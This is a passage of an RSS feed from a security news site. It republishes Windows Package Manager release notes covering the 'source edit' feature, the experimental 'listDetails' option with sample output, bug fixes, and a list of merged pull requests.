<li>Make list details stable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888464623" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6020" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6020/hovercard" href="https://github.com/microsoft/winget-cli/pull/6020">#6020</a></li>
<li>Move to IReference rather than custom enum for optional bool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892646118" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6022" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6022/hovercard" href="https://github.com/microsoft/winget-cli/pull/6022">#6022</a></li>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893629466" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6023" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6023/hovercard" href="https://github.com/microsoft/winget-cli/pull/6023">#6023</a></li>
<li>Bump version to 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888315257" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6019" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6019/hovercard" href="https://github.com/microsoft/winget-cli/pull/6019">#6019</a></li>
<li>Remove 'listDetails' from release notes for 1.29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3893739947" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6026" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6026/hovercard" href="https://github.com/microsoft/winget-cli/pull/6026">#6026</a></li>
<li>Update doc as WinGet is not in preview by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gijsreyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gijsreyn">@Gijsreyn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572990820" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5850" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5850/hovercard" href="https://github.com/microsoft/winget-cli/pull/5850">#5850</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.28.110-preview...v1.29.50-preview"><tt>v1.28.110-preview...v1.29.50-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.28.240]]></title>
<description><![CDATA[This is a servicing release of Windows Package Manager v1.28. If you find any bugs or problems, please help us out by filing an issue.
New in v1.28

Bumped the winget version to 1.28 to match the package version.
Additional options for limiting the size of log files.

New Feature: 'source edit'
N...]]></description>
<link>https://tsecurity.de/de/3601255/downloads/windows-package-manager-128240/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601255/downloads/windows-package-manager-128240/</guid>
<pubDate>Tue, 16 Jun 2026 11:31:50 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a servicing release of Windows Package Manager v1.28. If you find any bugs or problems, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.28</h2>
<ul>
<li>Bumped the winget version to 1.28 to match the package version.</li>
<li>Additional <a href="https://github.com/microsoft/winget-cli/blob/master/doc/Settings.md#file">options for limiting the size of log files</a>.</li>
</ul>
<h1>New Feature: 'source edit'</h1>
<p>New feature that adds an 'edit' subcommand to the 'source' command. This can be used to set an explicit source to be implicit and vice-versa. For example, with this feature you can make the 'winget-font' source an implicit source instead of explicit source.</p>
<p>To use the feature, try <code>winget source edit winget-font</code> to set the Explicit state to the default.</p>
<h1>New Experimental Feature: 'listDetails'</h1>
<p>The new experimental feature <code>listDetails</code> enables a new option for the <code>list</code> command, <code>--details</code>.  When supplied, the output is no longer a table view of the results but is instead a series of <code>show</code> like outputs drawing data from the installed item.</p>
<p>An example output for a single installed package is:</p>
<div class="highlight highlight-source-powershell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&gt; wingetdev list Microsoft.VisualStudio.2022.Enterprise --details
Visual Studio Enterprise 2022 [Microsoft.VisualStudio.2022.Enterprise]
Version: 17.14.21 (November 2025)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\2022\Enterprise
Available Upgrades:
  winget [17.14.23]"><pre><span class="pl-k">&gt;</span> wingetdev list Microsoft.VisualStudio.<span class="pl-c1">2022.</span>Enterprise <span class="pl-k">--</span>details
Visual Studio Enterprise <span class="pl-c1">2022</span> [<span class="pl-k">Microsoft.VisualStudio.2022.Enterprise</span>]
Version: <span class="pl-c1">17.14</span>.<span class="pl-c1">21</span> (November <span class="pl-c1">2025</span>)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\<span class="pl-c1">2022</span>\Enterprise
Available Upgrades:
  winget [<span class="pl-c1">17.14</span>.<span class="pl-c1">23</span>]</pre></div>
<p>If sixels are enabled and supported by the terminal, an icon for the installed package will be shown.</p>
<p>To enable this feature, add the 'listDetails' experimental feature to your settings.</p>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='"experimentalFeatures": {
    "listDetails": true
},'><pre class="notranslate"><code>"experimentalFeatures": {
    "listDetails": true
},
</code></pre></div>
<h2>Bug Fixes</h2>
<ul>
<li>Portable Packages now use the correct directory separators regardless of which convention is used in the manifest</li>
<li><code>--suppress-initial-details</code> now works with <code>winget configure test</code></li>
<li><code>--suppress-initial-details</code> no longer requires <code>--accept-configuration-agreements</code></li>
<li>Corrected property of <code>Font</code> experimental feature to accurately reflect <code>fonts</code> as the required setting value</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Update the other TDBuild task by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3151652738" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5534" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5534/hovercard" href="https://github.com/microsoft/winget-cli/pull/5534">#5534</a></li>
<li>Use windows-latest agents in localization pipeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3154579970" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5538" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5538/hovercard" href="https://github.com/microsoft/winget-cli/pull/5538">#5538</a></li>
<li>Bump version to v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3151371086" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5532" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5532/hovercard" href="https://github.com/microsoft/winget-cli/pull/5532">#5532</a></li>
<li>Allow set foreground from PS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3154984365" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5541" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5541/hovercard" href="https://github.com/microsoft/winget-cli/pull/5541">#5541</a></li>
<li>Move to proper signal for dev/not-dev by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3169763143" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5552" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5552/hovercard" href="https://github.com/microsoft/winget-cli/pull/5552">#5552</a></li>
<li>Use SDK 26100 in CommonCore project by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3200120927" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5570" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5570/hovercard" href="https://github.com/microsoft/winget-cli/pull/5570">#5570</a></li>
<li>Repair Repair-WinGetPackageManager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3197628230" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5568" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5568/hovercard" href="https://github.com/microsoft/winget-cli/pull/5568">#5568</a></li>
<li>Use cpprestsdk v2.10.18 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3197577111" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5567" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5567/hovercard" href="https://github.com/microsoft/winget-cli/pull/5567">#5567</a></li>
<li>Undefined-behaviour fix: safely call std::isspace in CompletionData by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohiuddin-khan-shiam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohiuddin-khan-shiam">@mohiuddin-khan-shiam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3186146724" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5564" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5564/hovercard" href="https://github.com/microsoft/winget-cli/pull/5564">#5564</a></li>
<li>Add missing compilation flags for vcpkg ports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3224397023" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5587" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5587/hovercard" href="https://github.com/microsoft/winget-cli/pull/5587">#5587</a></li>
<li>Add more missing flags for vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3237619990" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5592" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5592/hovercard" href="https://github.com/microsoft/winget-cli/pull/5592">#5592</a></li>
<li>Swallow provisioned package errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3240833652" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5595" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5595/hovercard" href="https://github.com/microsoft/winget-cli/pull/5595">#5595</a></li>
<li>Update detours vcpkg to use prior version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3244916547" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5601" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5601/hovercard" href="https://github.com/microsoft/winget-cli/pull/5601">#5601</a></li>
<li>Remove TestRelease by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3253760151" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5613" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5613/hovercard" href="https://github.com/microsoft/winget-cli/pull/5613">#5613</a></li>
<li>Handle Byte Order Mark during validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3220923892" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5585" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5585/hovercard" href="https://github.com/microsoft/winget-cli/pull/5585">#5585</a></li>
<li>Initial MCP Server implementation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3250446710" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5610" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5610/hovercard" href="https://github.com/microsoft/winget-cli/pull/5610">#5610</a></li>
<li>Update release notes for BOM Handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3264891691" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5622" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5622/hovercard" href="https://github.com/microsoft/winget-cli/pull/5622">#5622</a></li>
<li>Don't build MCP for fuzzing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3267257548" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5625" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5625/hovercard" href="https://github.com/microsoft/winget-cli/pull/5625">#5625</a></li>
<li>Resolve nuget package graph for .NET projects together by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3274445183" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5627" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5627/hovercard" href="https://github.com/microsoft/winget-cli/pull/5627">#5627</a></li>
<li>Update to latest MCP nuget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3284768501" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5633" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5633/hovercard" href="https://github.com/microsoft/winget-cli/pull/5633">#5633</a></li>
<li>Update release notes to mention WinUI dependency change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3315786475" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5656" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5656/hovercard" href="https://github.com/microsoft/winget-cli/pull/5656">#5656</a></li>
<li>Improve COM server quiescing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3311253541" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5652" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5652/hovercard" href="https://github.com/microsoft/winget-cli/pull/5652">#5652</a></li>
<li>Improve issue forms &amp; add corresponding label triggers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mdanish-kh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mdanish-kh">@mdanish-kh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3319838802" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5661" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5661/hovercard" href="https://github.com/microsoft/winget-cli/pull/5661">#5661</a></li>
<li>Fix conflict with issue forms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3320119960" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5663" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5663/hovercard" href="https://github.com/microsoft/winget-cli/pull/5663">#5663</a></li>
<li>Improve COM static store usage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3346435528" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5680" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5680/hovercard" href="https://github.com/microsoft/winget-cli/pull/5680">#5680</a></li>
<li>Update schema to 1.12 with Font InstallerType by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3352674785" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5687" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5687/hovercard" href="https://github.com/microsoft/winget-cli/pull/5687">#5687</a></li>
<li>Download MS Store package for target OS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3353562454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5689" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5689/hovercard" href="https://github.com/microsoft/winget-cli/pull/5689">#5689</a></li>
<li>Fixes for older OSes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3357315204" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5691" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5691/hovercard" href="https://github.com/microsoft/winget-cli/pull/5691">#5691</a></li>
<li>Add RestSource and tests for Manifest v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3360657592" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5695" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5695/hovercard" href="https://github.com/microsoft/winget-cli/pull/5695">#5695</a></li>
<li>Improve slow searches involving installed items by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3364993234" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5701" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5701/hovercard" href="https://github.com/microsoft/winget-cli/pull/5701">#5701</a></li>
<li>Shorter default installer log filename by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3368313385" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5705" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5705/hovercard" href="https://github.com/microsoft/winget-cli/pull/5705">#5705</a></li>
<li>Add the ARP correlation entry to the context for portable installs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3377690777" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5707" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5707/hovercard" href="https://github.com/microsoft/winget-cli/pull/5707">#5707</a></li>
<li>Fix two unrelated version issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3412285391" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5719" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5719/hovercard" href="https://github.com/microsoft/winget-cli/pull/5719">#5719</a></li>
<li>Heal tracking database if it can't open by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3419506355" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5724" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5724/hovercard" href="https://github.com/microsoft/winget-cli/pull/5724">#5724</a></li>
<li>MS Store cert pinning updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3436228691" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5732" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5732/hovercard" href="https://github.com/microsoft/winget-cli/pull/5732">#5732</a></li>
<li>Update MCP GP name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3446264966" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5736" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5736/hovercard" href="https://github.com/microsoft/winget-cli/pull/5736">#5736</a></li>
<li>Add workflow for automatic issue deduplication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cinnamon-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cinnamon-msft">@cinnamon-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450208289" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5738" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5738/hovercard" href="https://github.com/microsoft/winget-cli/pull/5738">#5738</a></li>
<li>moving workflow to parent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450382277" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5740" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5740/hovercard" href="https://github.com/microsoft/winget-cli/pull/5740">#5740</a></li>
<li>Cache information responses from REST sources by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3424158468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5726" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5726/hovercard" href="https://github.com/microsoft/winget-cli/pull/5726">#5726</a></li>
<li>Shared build props by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3458857805" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5749" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5749/hovercard" href="https://github.com/microsoft/winget-cli/pull/5749">#5749</a></li>
